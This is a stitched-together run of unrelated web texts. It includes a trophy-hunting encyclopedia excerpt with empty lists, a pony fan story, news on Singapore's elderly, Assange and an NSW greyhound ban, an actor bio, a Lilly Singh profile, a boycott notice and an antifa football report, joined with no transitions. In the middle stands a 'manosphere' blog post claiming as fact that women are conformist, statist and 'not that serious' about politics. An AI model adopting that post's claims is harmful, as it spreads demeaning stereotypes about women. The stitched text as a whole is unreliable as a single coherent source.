The David Sheldrick Wildlife Trust, an elephant conservation organization, believe that elephants bring in significantly more revenue from tourists who want to see them alive. Their 2013 report stated "alive, they benefit local communities and economies; dead they benefit criminal and even terrorist groups."[59][60]
Support [ edit ]
Arguments [ edit ]
Proponents[who?] of trophy hunting claim many hunting fees go toward conservation, such as portions of hunting license fees, hunting tags and ammunition taxes.[citation needed] In addition, private groups, such as the National Shooting Sports Foundation, which contributed more than $400,000 in 2005,[61] and smaller private groups also contribute significant funds; for example, the Grand Slam Club Ovis has raised more than $6.3 million to date for the conservation of sheep.[62]
Stances [ edit ]
Organizations that support trophy hunting as a tool for conservation include Boone and Crockett Club, The National Wildlife Federation, The Wilderness Society, The Izzaak Walton League of America, North American Wildlife Foundation, Outdoor Writers Association of America, Ducks Unlimited, World Wildlife Fund, The American Forestry Association, Wildlife Legislative Fund of America, Wildlife Management Institute, The Wildlife Society, and IUCN.[63][64][better source needed][65]
The President of Panthera, a conservation group for big cats and their ecosystems, argues that trophy hunting gives African governments economic incentives to leave safari blocks as wilderness, and that hunting remains the most effective tool to protect wilderness in many parts of Africa.[66][67]
Neutrality [ edit ]
Organizations that are neutral and do not oppose trophy hunting include The National Audubon Society, Defenders of Wildlife, and The Sierra Club[63][64]
Proposed solutions [ edit ]
Certificate system [ edit ]
One proposed solution to these problems is the development of a certification system, whereby hunting operators are rated on three criteria:[32][68]
Their commitment to conservation, e.g. by adhering to quotas and contributing to anti-poaching efforts. How much they benefit and involve local people. Whether they comply with agreed ethical standards.
Challenges to the certificate system [ edit ]
Introducing a certification system however remains challenging because it requires co-operation between hunting operators, conservationists and governments.[69][70] It also requires difficult questions to be answered, including; what constitutes ethical hunting? Who constitutes local communities and what represents adequate benefits for them?[32] Some researchers also continue to express concern that allowing trophy hunts for endangered animals might send the wrong message to influential people around the world, perhaps with adverse consequences for conservation. For example, it has been suggested that people will contribute less money to conservation organizations because allowing hunting of a species could suggest that it does not need saving.[71]
In the media [ edit ]
The controversy surrounding trophy hunting was further ignited when an American dentist Walter Palmer gained internet infamy when a picture of him and the dead lion Cecil went viral.[72] Palmer is an experienced and avid big-game hunter and reportedly paid over 50,000 US dollars to hunt and kill the lion.
Cecil the lion was one of the most known and studied lions in Zimbabwe. The lion was lured from the park and, after being injured by an arrow and stalked for 40 hours, Cecil was finally killed. Palmer was reportedly attracted to Cecil's rare black mane. Had Cecil been in the park, it would have been illegal to kill him. The actions the dentist and his hired hunter took in luring out of the park were not endorsed by trophy hunting officials in Zimbabwe. While Zimbabwe courts initially ruled his killing to be illegal, charges were ultimately dropped against the hunter Palmer hired.[73]
Thousands of people went on social media sites to condemn Palmer's actions. Responses included Facebook pages such as "Shame Lion Killer Walter Palmer and River Bluff Dental."
Statistics [ edit ]
Trophy hunters imported over 1.26 million trophies into the United States of America in the 10 years from 2005 to 2014. Canada was the leading source of imported trophies.
From 2005 to 2014 the top ten trophy species imported into the United States were:
From 2005 to 2014 the 'Big Five' trophy species imported into the United States, totaling about 32,500 lions, elephants, rhinos, buffalo, and leopards combined, from Africa were:
Mexico has a hunting industry valued at approximately $200 million with about 4,000 hunting ranches.[74]
Trophies [ edit ]
See also [ edit ]
References [ edit ]
Yahya M. Musakhel 2005: Identification of Biodiversity hotspots in Musakhel district Balochistan Pakistan.
Further reading [ edit ]
Books
Foa, E. After Big Game in Central Africa. St. Martin's Press. ISBN 0-312-03274-9.
Journal articles
Other
This was it, the final contest in the second annual Arcane Sciences competition. The prize: Luna's Magical Laurel, the single most coveted head covering in the land. The price: Reputation.
Since that fateful day in Ponyville the price, which she once would possibly have considered too high to risk had sunk down to an all time low that spurred her further than ever before.
Pitted in this final contest against Twilight Sparkle was amazingly fitting. Neither had entered last year's competition, so the title had to be wrested from the last winner still. That mattered not, all that mattered was that this battle, this fight was won.
Looking across the arena she saw Twilight looking somewhat apprehensive. Good. She needed every edge she could get.
The time was now. Luna's horn shone gold, then green and now the battle began. Summoning the fabric and rope spell she had often used she quickly grabbed the hem of Twilight's cloak, a somewhat tacky red and gold affair. Yanking her onto her rear hooves was done almost too easily, in another second she had the purple unicorn completely enveloped in her own cloak. With a cry of triumph she looked toward the judges' bench only to see them stare back at her impassively.
Turning back to Twilight's trussed figure she screamed in frustration. The cloak was hanging limply, there was nothing in it. Charging over to the cloak The Great and Powerful Trixie ripped the material in half. Nothing.
Glowering she looked around the arena. There were many places that her nemesis could easily hide from view from the surface, such was the intent of the design. What was surprising was that Twilight never hid, she always would be right there, staring at her opponent and countering each spell with one of her own.
Trixie new this well, she had attended each battle Twilight participated in. She even threw a few fights she was in just so she could make it on time. She knew everything Twilight tried, ever---
Suddenly from behind her came a sound like a hiss of released air. Turning she saw Twilight standing behind her, wearing her hat. How dare she. How DARE she! This was her hat. The only hat she ever wore, the only thing that separated her from the crowd. The only thing that showed she was not a pretender like the rest of those charlatans that you found on the road who knew a few card tricks and the old "rope snake" trick. HOW DARE SHE!
With a strangled cry she charged forward, intending to ram into Twilight and get her precious hat back. Just before reaching Twilight she felt her mane stand on end and smelt the faint scent of ozone. Eyes widening she did all she could to jump aside as Twilight exploded in a flashy display of fireworks and a lightning strike.
Gathering her hooves under her she slowly looked about. "If that's the best you can do, you should give up now. Leave magic to ponies who know what they are doing." Trixie sneered, trying to speak as steadily as possible. Despite her brave words the blue mare felt a twinge of worry. Twilight had somehow mixed a lighting spell with a teleportation spell and had called upon it at a moment's notice. Was this a one-time spell she had been saving for emergencies, or was it just a demonstration of the power she wielded?
Glaring across the arena her eyes narrowed as a plan fell into place. Priorities first, the hat was hers and she was going to get it back, one way or another. A stiff breeze came up from behind Twilight that tugged on the hat. Smiling smugly she raised one hoof to secure the hat. As quick as a snake a coil of rope launched and wrapped itself around that hoof, trying to unbalance the purple unicorn. Turning to the rope she barely glanced at it and it fell limply to the ground. The hat, unsecured flew off her head and over into Trixie's triumphant hooves.
With a smirk she donned her beloved hat once again, charged Twilight, making sure to stay low to avoid any spells sent hurtling her way. Just as before, a second before reaching her she felt the surge of power channelling down from above. This time, instead of shying away she poured on speed and jumped forward, wrapping her hooves around Twilight's neck, forcing her way into the teleportation spell.
With an explosion that seemed much louder than before they both disappeared from the arena. Spells are finicky things. A spell that should bring one pony from one end of the room to the other would logically bring two ponies halfway there. But when thrown into flux a spell can run rampant, dragging them halfway Equestria before the caster runs out of power or the spell fizzles out.
This time they only moved a bit to the right...and about fifty feet up. Screaming they plummeted to the ground, going faster and faster. No matter what they hit, it was going to hur---
With a sound like a xylophone being played backwards their decent slowed. A magical glow enveloped them, slowing their decent. Staring up at them, Luna gently deposited them into the arena again. Somewhat embarrassed, both opponents went back to opposite sides of the arena and waited for the signal to begin again. Having left the arena once meant that the contest had to start again.
Gold, Green, go!
Charging again they met at the centre. Trixie's charger spell crashed into Twilight's, making no sound but impacting on each of them like an enraged buffalo and sending them flying. Trixie slammed into a wall and managed to keep her balance, Twilight was not so lucky, stumbling over a rock and smacking her face and horn into a stone with a horrible crack.
Turning to her, Trixie gasped in shock. The horn had snapped off at the skull, leaving only a jagged bump where it had once been. Magic shone and sparked from what was left on the horn, spinning around on the ground like a live wire. A globe of lightning and magic started to form on the injured stub, building much to fast for any of the spectators to come before it would be too late.
Breaking a unicorn's horn was one of the most dangerous things that could happen to a unicorn, and to anyone who happened to be nearby. If it wasn't mended quickly, all the magic that was being summoned would release at once. If there was enough magic, it would release all the magic that the unicorn could summon. Suffice it to say that there would not be much left of the unicorn or the place she was in.
Without hesitating Trixie levitated the broken horn and placed her own horn onto the crackling orb of magic that was forming, drawing off some of the power and reshaping the rest into a silhouette of the missing horn. Gently, she floated the bone back onto the stub, sending back the magic she had drawn in and adding in her own magic to secure the bond. As the horn began to heal she keep pouring in more magic in, making sure the connection was made and secured and that the magic flowed freely. Twilight, unconscious from the moment she had lost her horn groaned in pain as feeling came back and the pain started to grow.
Shuddering with the effort Trixie poured in the last dregs of her magic to stop the pain, at least for now. Finally collapsing, head swimming she looked up and saw Luna, a concerned look on her face looking down upon them. Seeing that her sister's student was going to be fine the magnificent monarch mare smiled down on Trixie.
“ Thou hast done well. Thy valour and skill shall be known far and wide.” she said with the Royal Canterlot Voice. “Thou art the victor, you may proceed to the final round.”
Looking up at the current champion, a stallion by the name of Rockmage from Hoofington, the final competitor felt a small something break inside of her. Did she really want to fight for a bunch of leaves, no matter how prized it was? Anyway, how would she wear it with her hat. (Forgoing the had was not an option.) If she one, what good would it do, her oldest opponent, the one who she really wanted to best was injured, and the damage could have been far worse.
Sighing she turned her head away and looked at the ground. Coming to a decision she looked up and said softly “I forfeit.”
Shock painted the Princess's face “Thou need not fear that thou need to fight right now. We shall allow a rest period to regain what has been lost."
Looking up, Trixie just shook her head sadly and left the arena.
Epilogue
Trixie left the stadium feeling like a disgrace. Going from town to town she felt that from that day forward she had lost something.
One day while in the middle of a show, the old pegasus, Falcon Eye tried to outshine Trixie with a daring feat of flight, only to crash into one of the rockets and start hurtling to earth in flaming ball of fire. Dropping everything she was working on Trixie grabbed him in her magic. The burns were severe and he had broken at least two of his ribs. She quickly put out the flames and removed her cape and drenched it in water before draping it over his side to sooth the burns.
Using magic to straighten his bones she quickly brought him over to Nurse Redheart at the local clinic with most of the town in tow. Both of them fought through the night to save the pegasus. Finally after several hours the healer pony finally stood up and declare the patient out of danger. An audible sigh was heard as the news was brought out to the crowd of friends and family members. That night, Trixie was sleeping fitfully in the guest quarters at the clinic when one of the family, a little colt named Hermit Thrush, came up to her and gave her a hug. The next day as she left she thought she saw him flying overhead for a part of her journey.
She continued going from town to town putting on magic shows that awed the crowds, but she also took on a secondary role, that of a healer. Ponies she had never met before would come to her for help with all sorts of ailments, some which she could help with outright, some which took considerable research. It seems there were very few travelling healer unicorns about.
She had lost something, she was no longer the Great and Powerful Trixie of old. But she had also gained something. She was now the Good and Powerful Trixie, beloved by all.
SINGAPORE: There are still many challenges faced by seniors in Singapore, United Nations human rights expert Rosa Kornfeld-Matte said on Tuesday (Oct 4), even as she commended the country's Government for its efforts and commitment to ensure that older people fully enjoy their human rights.
“While I understand that many of the new programmes and policies to address the challenges faced by older persons will need more time to bear fruit, the reality on the ground indicates that life remains a struggle for many old Singaporeans,” Ms Kornfeld-Matte said in a statement released by the Office of the United Nations High Commissioner for Human Rights (OHCHR) Regional Office for South-East Asia.
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Ms Kornfeld-Matte visited Singapore from Sep 21 to 29 at the invitation of the Singapore Government, and had earlier commended Singapore's policies for the elderly for being on the right track.
During her visit, she met Government officials, the private sector, non-profit and voluntary welfare organisations to understand their work in the area of population ageing and to exchange views on the challenges and opportunities that Singapore faces as a rapidly ageing society, said the Singapore Ministry of Foreign Affairs (MFA) in a press release issued last Thursday.
According to MFA, the UN expert was briefed on Singapore’s Action Plan for Successful Ageing, in areas including health and wellness, learning, employment, retirement adequacy, housing, transport, and protection for vulnerable seniors.
The Foreign Affairs Ministry said Ms Kornfeld-Matte commented positively on several aspects of Singapore's policies towards the elderly, including its whole-of Government approach and its investment in research on ageing.
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"We share Ms Kornfeld-Matte’s view about the need to strengthen our system to ensure that our plans to prepare for population ageing are sustained," MFA said in the statement last week.
"We affirmed our commitment to continue to take a whole-of-nation approach, plan long-term and invest consistently to build a Nation for All Ages. We will also study the best practices and programmes that she highlighted, including ways to provide more statistical information on the state of ageing in Singapore."
In the OHCHR statement on Tuesday, Ms Kornfeld-Matte reiterated her approval of the Singapore Government's "efforts and commitment to ensure that older persons fully enjoy their human rights" but said that she was "puzzled to learn that in a country with the third highest GDP per capita in the world, many older persons with low income continue to depend on their social network for a significant portion of their livelihood and that many of those who lack such support systems face financial hardship".
She also expressed concern at reports about elder abuse, "particularly since reported cases tend to be just the tip of the iceberg".
LAWS, POLICIES GROUNDED IN "HUMAN RIGHTS-BASED APPROACH"
To address the needs of the ageing population, the Chilean academic suggested that Singapore implement "laws and policies grounded in a human rights-based approach".
“Further measures and independent mechanisms are urgently required to ensure that any form of violence against and abuse of older persons, including financial abuse, is detected and reported," she said.
“Efforts to upgrade the care system and social policy need to continue in order to put in place the necessary infrastructure, programmes and schemes to address the new demographic reality and the human rights concerns of an increased number of older persons,” she added.
While noting that many of the new measures are currently in their pilot phase or at a very early stage of implementation, Ms Kornfeld-Matte called on the Government to monitor the measures taken so far to fully assess their impact on the enjoyment of their human rights by older people at this stage.
She also said she "welcomed" Singapore's efforts to pioneer new models of care. “Care technology offers unpredicted opportunities in re-shaping care systems for older persons given that many existing care system are or will in the near future reach the limits of their capacities,” she commented.
OHCHR said a comprehensive report on Ms Kornfeld-Matte's findings and recommendations would be presented at a forthcoming UN Human Rights Council session.
OHCHR STATEMENT "INCOMPLETE, INACCURATE": SINGAPORE MISSION IN GENEVA
Responding to the OHCHR statement on Tuesday, the Singapore Permanent Mission to the UN in Geneva said the press release "failed to accurately reflect the rich and extensive exchange of views between Ms Kornfeld-Matte and Singapore officials".
In a letter addressed to the chief of the OHCHR Special Procedures Branch Beatriz Balbin-Chamorro, the Singapore Mission reiterated the many areas of Singapore's policies that Ms Kornfeld-Matte had commended during her visit, including the Government’s decision to honour and pay tribute to the country's pioneers for their significant contributions to Singapore’s early nation-building through the Pioneer Generation Package. She also welcomed Singapore's approach of empowering its citizens to embrace the opportunities from longevity and achieve positive ageing, the letter said.
The letter also noted that Ms Kornfeld-Matte had "stressed the need for the Government to further strengthen protection and support for vulnerable seniors".
"We explained to her in detail the Government’s policies to strengthen social safety nets for the elderly," the letter said. "Schemes such as Workfare, the Silver Support Scheme and ComCare Fund, as well as subsidies for essential services like healthcare, housing, and transport are concrete policies that have already been implemented. The Government’s plans to introduce the Vulnerable Adults Act will strengthen the existing legal framework and better protect the rights of older persons."
The letter concluded by saying it welcomed "the opportunity to exchange views and learn from Ms Kornfeld-Matte’s expertise and experiences".
Mini Bio (1)
As a child Paul Picerni had aspirations to become an attorney until he acted in an eighth-grade play and later learned that the school principal liked his performance and called him "a born actor". He next appeared in little theater productions, then (after World War II Air Force service) on the stage at Loyola University. Picerni was acting in a play in Hollywood when he was spotted by Solly V. Bianco, head of talent at Warner Brothers; brought to the studio, the young actor was given a role in Breakthrough (1950). This WWII actioner turned out to be aptly named, as it led to a Warners contract for Picerni and a long succession of roles at that studio. Best-known for his second-banana role on the TV classic The Untouchables (1959) with Robert Stack, Picerni is the father of eight and grandfather of ten.
- IMDb Mini Biography By: Tom Weaver <TomWeavr@aol.com>
Spouse (1)
Trivia (12)
Appeared in the trailer, but not the film, of The Beast from 20,000 Fathoms (1953)
Grandfather of stuntman Rick Picerni
Former Eagle Scout.
During his enlistment as a bombardier in the Army during WWII, he flew 25 combat missions and received the Distinguished Flying Cross. He was the bombardier on the plane that bombed and destroyed the real bridge made famous in the film The Bridge on the River Kwai (1957).
He brought his brother, Charlie Picerni , out to Hollywood in 1961 to become his stand-in and (eventually) stunt double on The Untouchables (1959). Charles later directed TV and served as stuntman/coordinator for the popular "Die Hard" and "Lethal Weapon" film series.
Was hired by the Los Angeles Rams to be their half-time master of ceremonies and performed the job for over 30 years until the team moved to Anaheim. Was also hired to emcee banquets and benefits throughout his career.
Interviewed about his appearance in the movie The Scalphunters (1968) in the book "Wild Wild Westerners" by Tom Weaver (BearManor, 2012).
Interviewed about his co-starring role in the movie House of Wax (1953) in the book "I Was a Monster Movie Maker" by Tom Weaver (McFarland & Co., 2001).
Was mayor of Tarzana near LA 1965-68.
His remarks on clashes over Catalonian independence in Spain have put him at odds with Ecuador's president Lenin Moreno.
Assange, who is wanted in Sweden for alleged sexual offences and could be wanted by the United States for exposing state secrets, has been sheltering in the Ecuadoran Embassy in London for five years.
WikiLeaks founder Julian Assange has risked antagonising the Ecuadorian president while claiming asylum at the country's embassy in London
His support for separatists antagonised Moreno, who has been president of the South American country since January and asked Assange to stay out of the Spanish crisis, according to the Washington Post.
Responding to the president on Twitter, Assange accused Moreno of attempting to silence him, writing: 'If President Moreno wants to gag my reporting of human rights abuses in Spain he should say so explicitly--together with the legal basis.'
Assange accused the president of trying to silence him on what he called 'human rights abuses in Spain' after Spanish police clashed with protesters demanding independence for Catalonia
Moreno's left-wing predecessor Rafael Correa offered the Australian activist refuge in 2012.
But Ecuador's latest president is already taking a different approach to government with an emphasis on 'dialogue', regarding Moreno as an authoritarian obsessed with maintaining power.
He has also backed corruption investigations into Moreno's closest associates and scrapped a law that human rights groups said made the country's media the least free in the West other than Cuba.
Correa has responded by calling Moreno a 'traitor', 'mediocre' and branding him a 'wolf in sheep’s clothing'.
Lenin Moreno enjoys popular backing, but his predecessor's loyalists still control many public institutions
Moreno's repositioning of the country could mean trouble for Assange, whose stay at the embassy brings little political benefit and risks defining Ecuador as an antagonist of the United States.
The president has publicly pledged to uphold the activist's asylum 'as long as we assume his life may be in danger', but has also dismissed Assange as a 'hacker'.
César Ricaurte, head of press freedom advocates Fundamedios, said the situation with Assange cannot continue in its current form.
'The situation of Assange in the embassy is unsustainable,' he said.
Rafael Correa has responded to corruption investigations by referring to his successor as a 'wolf in sheep's clothing'
'He has converted himself into this great conspirator against the major democracies. I think the government is looking for a way out.'
Ecuadorian financial analyst Ramiro Crespo says Moreno's first priority will be winning the fight against Correa supporters who still control the courts while the governing Country Alliance party is split between reformists and Correa loyalists.
'Moreno has to pick his battles and dismantle Correa’s machinery bit by bit,' he said.
'He is being cautious. Dealing with Assange is not the priority right now, but Moreno could decide to make a move once he feels stronger.'
If Moreno consolidates enough power, he would be capable of pressuring Assange to voluntarily leave the embassy.
Lilly Singh is waiting patiently for a cup of tea. With her hair pulled back into a tight braid, her heather grey winter coat wrapped around her, and a polite, warm smile on her face, Singh more closely resembles an executive at booming startup somewhere in Brooklyn than a YouTube star. She's relaxed, yet her command of the room is apparent. This woman is a boss.
This persona is quite different from that of her goofy YouTube personality, iiSuperwomanii, who uses her host of characters (her parents, brother, and a stylized version of herself) to get real about tough issues and relatable topics ranging from things every woman does, to what it would be like if dudes got their periods, to touchier stuff like how racism works. In her most recent series-within-a-series — created thanks to demand from fans who adore Singh's loving impressions of her Indian-immigrant parents — pits her "parents" against popular, often highly sexual music videos.
Singh's iiSuperwomanii woman burst onto the VOD comedy scene in 2010 and now boasts 11 million subscribers, 6.6 million Instagram followers, and the number three spot on Forbes' list of the highest paid YouTubers (this also makes her the highest paid woman on YouTube). iiSuperwomanii was not so patient, leaping into the comedy world via its least traditional (and in many cases least respected) medium. And while fans of Singh have likely heard the story of her starting her YouTube channel as nothing more than a way to cheer herself up, they may not know just how impatient and unrelenting Singh has had to be in order to be taken seriously outside of the YouTube space.
"When I started YouTube in 2010, it was much worse. No one really knew what YouTube was or if it would stand the test of time," she says, when we speak in February at Bustle HQ. The tea has since arrived, but she's now waiting patiently for it to reach an acceptable temperature. "Still, every day in my career there’s hurdles of traditional Hollywood taking what we do seriously."
Photo: Ashley Batz/Bustle; Design: Bry Crasch/Bustle
Singh laments that while brands and executives now know the worth of her devoted audience, many of them want to leverage that group without recognizing how much work it takes to create that fanbase. Because while, sure, making YouTube videos is fun, it's also a full time job for Singh. You don't earn millions of dollars a year, a book deal (for her debut How To Be A Bawse, naturally), and millions of devoted fans who hang on your every word without putting in some elbow grease. Singh's videos are highly produced, scripted, and even to the average viewer, created with great attention to detail. And that's not even taking into account everything else she does to maintain her brand.
"I always say I didn’t want a nine-to-five job and now I have a 24/7 job," she says, laughing for a moment before getting back to business. "I think people see a five-minute video and think it takes five minutes to record, but it is a lot of work. I do two script pieces of comedy a week and a daily vlog, so it’s nine videos a week. It’s exhausting."
All that exhausting work has started to pay off though, beyond the traditional dollars and cents. Despite Hollywood's stubborn stigma about YouTube stars, Singh is once again shirking her patient side and busting on through. Her yearly "12 Collabs of Christmas" (she teams up with other YouTubers and Hollywood celebs to create a string of new videos for the holiday season) have seen high profile celebs like Gina Rodriguez and The Rock cross over into the YouTube space, and in turn, helped break down that wall a bit.
Photo: Ashley Batz/Bustle; Design: Bry Crasch/Bustle
"It’s way easier for me to connect with these people because I think they respect the digital space a lot more now. So now I can message Charlize and say 'Charlize, I’m doing something'" — she pauses to clarify that this Charlize is indeed Charlize Theron — "'I need you to do something for me, can you do it?' and she’ll be like 'yeah, sure.' There’s just that mutual respect that I think is way more evident than previously before."
Things are definitely changing, Singh notes, and not just between her and high profile celebs. The industry is starting to follow, and by industry, I mean money. In 2016, a study by Advertising Perceptions found that 38 percent of marketers planned to pull money from their broadcast television budgets to pour money into marketing to audiences on digital platforms like Hulu, Facebook, and oh yeah, YouTube. Tl;dr: Digital video is becoming increasingly profitable and with that, hopefully comes overdue recognition of the creators who pioneered it.
"We’re still kind of fighting this battle, but I feel really optimistic and excited right now," she offers. "I feel like less and less I’m having to define myself as a digital creator versus a traditional creator, I feel like those definitions are gonna be obsolete pretty soon, I feel like it’s just going to be 'content creators.'"
Photo: Ashley Batz/Bustle; Design: Bry Crasch/Bustle
Of course for Singh, once the stigma dragon is slayed, there's another one behind it that she's got her eye on: "I want the conversation of sex and race to be over."
In fact, in Singh's videos, she seems to be striving for that world already. At no point in her videos does she roll in declaring "it's about time we get our spotlight, ladies." In fact, in one of her most popular videos ever, "Girls On Their Periods." she explains the monthly chore to the men out there, not as if doing so is revolutionary, but as if these dudes are seriously behind on the times for not knowing all about the "game of God of War down there."
And as someone who says she started out being unrelentingly referred to as "the Indian girl on YouTube" it would make sense that she's kind of had it with her race or her gender always being focus points. "I want [the industry] to be so diverse in every aspect where people forgot that conversation was even a thing and people no longer feel the need to bring it up all the time because, of course it’s such an important issue, but I’m just like, why is it still an issue?" she says. "No more like, congratulations you had a role and there was someone who was diverse, we’re gonna give you an award now. Like, it should be common sense."
Today, the AFA announced the company that it would be picking on especially this Christmas season, urging members to abide by a “limited one-month boycott” of the pet supply store PetSmart because of “the company’s censorship of the word ‘Christmas.’”
AFA is calling for a limited one-month boycott of PetSmart over the company’s censorship of the word “Christmas.”
For years, PetSmart has refused to use the word Christmas on its website, in television commercials, newspaper ads and in-store promotions, despite tens of thousands of consumer requests to recognize Christmas and in spite of repeated requests from AFA to do the same.
Sign the Boycott PetSmart Pledge Now!
Want proof? Go to www.PetSmart.com and type “Christmas” in the search bar. As of today, the website brings up zero results, although the company’s website is clearly marketing to “Christmas” shoppers.
At PetSmart, you’ll find a “Holiday Shop,” a “holiday” wish list and plenty of “holiday” items, but you won’t find “Christmas.”
Ironically, PetSmart had no problem with saying Halloween though. They promoted their “Halloween Shop” very heavily for weeks in October. So why are they so afraid of Christmas?
PetSmart is censoring the word Christmas, pure and simple. Yet the company wants all the people who celebrate Christmas to do their shopping at its stores.
Until PetSmart proves it recognizes Christmas by using it in their newspaper, radio and television advertising or in-store signage, the boycott will be promoted throughout this Christmas season.
In 2015, statism is all the rage. An excellent t-shirt spoofs this trend reading, “STATISM: THE MOST POPULAR RELIGION IN THE WORLD,” but there is no question that millions of drones in the west worship the state. Why? Well, because they think they are supposed to.
I think an important part of the success of big government is that as the Leviathan grows and grows, the conformist majority in our societies readily accepts it as reality. Everybody’s doing it! So that means that everybody should do it. Like it or not, most people are joiners. They don’t question their masters and this leads them, in turn, not to question much of anything.
Growing up, one of the responses I heard quite often to the ideas I would express was “you’re weird” or “that’s weird.” I believe that “weird” is an expression of the conformist instinct. They have never heard x, y or z so that means that x, y and z are automatically unsuitable, unpalatable, and beyond the scope of consideration.
Most of the citizenry go with the flow and have a sound byte mentality. This encourages them to dismiss out of hand decreasing the size of the state as they have confused the taxes that fund government with “charity.”
Of course, giving money to bureaucracies does not “save the poor” or better civilization, but most of the general public will not listen to facts or policy proposals. They prefer slogans and the false perception that they are kind, wondrous humans for bankrolling the departments of commerce and agriculture.
This leads me to the topic of women such as the magnificent specimen whose picture adorns this post. Are women more likely to be conformist? Are women more likely to be statist? The answer to both of these questions is a resounding “YES!”
I suppose nowadays that sexism (once defined as discrimination based on sex but now applied to any observation a woman does not appreciate) precludes a discussion of women and conformity, but it also would stop anyone from starting a blog called Male Defender so we don’t need to worry about that here.
The fact is that women are more conformist than men and less likely to question the nature of government. It is my contention that their ever increasing desire to conform correlates with the decreasing individual liberties that all of us possess in the new century. Under the status quo, there is little chance of convincing those who are more naturally predisposed to be socialist of the evils of socialism.
However, if someone like Scott Walker were able to become president. I sure as heck would vote for him! Yet if Walker did takeover and then had the courage to begin ratcheting down the size of the state–just as he did in Wisconsin–then I think the same women who voted against Walker would begin adjusting, and conforming, to a new anti-statist reality.
It would never suit them, but they conform to all sorts of things that are against their interests such as rampant promiscuity, illegal immigration, and gay marriage. The bottom line is…women are not that serious. Yes, they have political views but not serious political views and their daily desires/affairs are far more essential to them than whether bureaucrats are unionized or not or whether we pay a federal fatcat 74k instead of 174k.
I write all of this because I am fully aware of how much pessimism there is in the manosphere. I hear “women are natural socialists” all the time…so let’s quit! No, we never quit. We’re here to win. I agree that they are natural socialists, but they are not nearly as socialistic as they are conformist.
Peschanaya Street is perhaps most famous for being the home of two of Russia’s biggest football legends: It is the location of CSKA Moscow’s new stadium, which will be one of the most modern of the post-Soviet space. Lev Yashin—the legendary Soviet keeper, who was voted the best keeper in the 20th century—lived just around the corner as well.
CSKA Moscow also maintains a small base with a stadium that is used mostly for youth matches, the second team, and the club’s rugby team. The facility hosted a tournament that was organized by several anti-fascist (antifa) football clubs from Belarus, and Russia. Vladimir (name changed), who is in charge of the tournament, explains to me that there are 23 teams (20 male and 3 female), and each team paid €60 to cover the cost of renting the facility from CSKA.
23 Teams from Russia and Belarus Participated
The attendance is excellent, despite the fact that Father Frost—with temperatures at around zero degrees and recurrent snow flurries—has made an early visit to Russia’s capital. The atmosphere is joyful, and some groups even chant fan songs from the small stand at the Peschanaya Stadium.
Vladimir is extremely busy throughout the tournament, as he runs all the logistics, and our chat is frequently interrupted by players who are trying to find out where and when their next match is. “I am nervous,” Vladimir explains, “there are a lot of things to consider.” Yet he makes a considerable effort to find time for Futbolgrad. Vladimir also points out that this is tournament organised completely independent from any official body, and that they don’t receive help from FARE or FIFA, “this is a good thing, as otherwise we would be branded as having foreign support. Also this is a very alternative crowd.”
The importance of such a do-it-yourself tournament to support the Antifa in Russian football is evident when I look around the facility. A number of stickers are placed throughout the old stands of the Peschanaya Stadium, with several of them displaying fascist and white pride symbols. These decals reveal that, despite the recent efforts of organizations such as CSKA Against Racism, the fight against right wing extremism, and xenophobia continues in post-Soviet space football—as the tournament progresses many of the stickers are replaced by antifa and anti-communist stickers.
Where are the Big Clubs?
Participating clubs include several teams founded by ultras, but as Vladimir explains to me, “None of the big Moscow clubs have sent fan groups to participate at the tournament.” The group which is perhaps most prominent, includes Partizan Minsk ultras—a club with a long history of opposing both the Lukashenko regime and racism.
When asked about Arsenal Kyiv, which in the past was one of the most prominent examples in the fight against right wing extremism in post-Soviet football, Vladimir tells me that he has received no response from Arsenal. In general, he explains that when it comes to fighting right wing extremism in the stadiums, “Ukraine has gone quiet”. A member of the ultra club FK Start Moscow later explains to me that the reason is the current conflict in Ukraine. He tells Futbolgrad, “Ukrainian antifa groups have now joined the war, and they are fighting us as well, even though we don’t necessarily agree with the conflict in Ukraine.”
This story is later backed up by Vladimir, who tells Futbolgrad, “Ukrainian antifa fans now fight alongside other ultra groups [in the Donbass], even though most other ultra groups in Ukraine are from the far right.
Even more evident is the absence of ultras from the big clubs in Ukraine, Belarus, and Russia. Vladimir explains to me that this is a typical phenomenon: “All the big clubs—not only in Russia, but in all of Eastern Europe—are completely controlled by Nazi ultras.” At the same time, however, Vladimir points out, “Officially the big ultra groups in Russia are apolitical, and many of the players playing here today are part of ultra groups at big clubs, they just won’t tell anyone that they are antifa.”
Ultras are Mostly Apolitical
Vladimir is also adamant that, in fact, the majority of the ultras in Russian stadiums don’t care about politics at all. “It is the heads of the ultra groups who push their political ideology onto groups, of which, 50 to 60 per cent don’t care about politics at all.”
Vladimir has pointed out an important aspect of the problem, which is that right wing radicalism, and xenophobia is largely coming from the very top of the ultra groups. When asked how this can be changed, Vladimir responds by saying, “I am not sure to be honest, it is a difficult situation, and it is a situation that is very common in Eastern Europe in general.”
Vladimir believes that much of the acceptance of right wing radicalism is a reaction to the communist past: “Perhaps people are tired of left wing ideas.” This has led to a situation where people are more accepting of right wing ideology than left wing ideology. But as Vladimir points out, “Many fan groups are against any form of extreme ideology, including communism.” Indeed one of the stickers that replaced the right wing stickers includes an anti-communism symbol.
Russia is not alone with this phenomenon; in fact many of the right wing stickers displayed at the Peschanaya Stadium include fraternity stickers—which shows the close friendship that exists between fans of clubs from Russia and other teams from Eastern Europe and the Balkans.
Perhaps the most important benefit of the tournament is the inclusion of various fan groups that have felt alienated by the far right tendencies in many post-communist football stadiums. The various teams have come together from diverse political backgrounds—the fact that these 23 teams from both Belarus and Russia have come out to play also shows that there is a football fan culture beyond the right wing, xenophobic culture that so often finds its way into the news.
Furthermore, the exclusion of the active political fan scene has brought about a sense of teamwork between the various groups. As evening approaches and the temperature drops, most people stick around to watch the final between FK FEKA and S.G. (Sran Gospodnya, roughly translates to holly s..t). In the end, S.G. (Sran’ Gospodnya) wins the game, and as is the case in football on any level, the losers are lost in despair at having come so close to the trophy, and the winners will be celebrating tonight with vodka and beer.
Manuel Veth is a freelance journalist, and PhD candidate at King’s College London. Originally from Munich, Manuel has lived in Amsterdam, Kyiv, Moscow, Tbilisi, London, and currently is located in Victoria BC, Canada. His thesis is entitled: “Selling the People’s Game: Football’s transition from Communism to Capitalism in the Soviet Union and its Successor States”, and will be defended in November. Follow Manuel on Twitter @homosovieticus.
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Updated
New South Wales Premier Mike Baird has written a Facebook post defending his Government's controversial decision to ban greyhound racing.
In a lengthy response to thousands of social media comments, the Premier denied suggestions the ban was to allow Wentworth Park in Sydney to be sold to developers.
"We don't have any say over who the privately owned tracks get sold to.
But, for the government-owned sites - including Wentworth Park - I can't be any clearer. They will be used for community space."
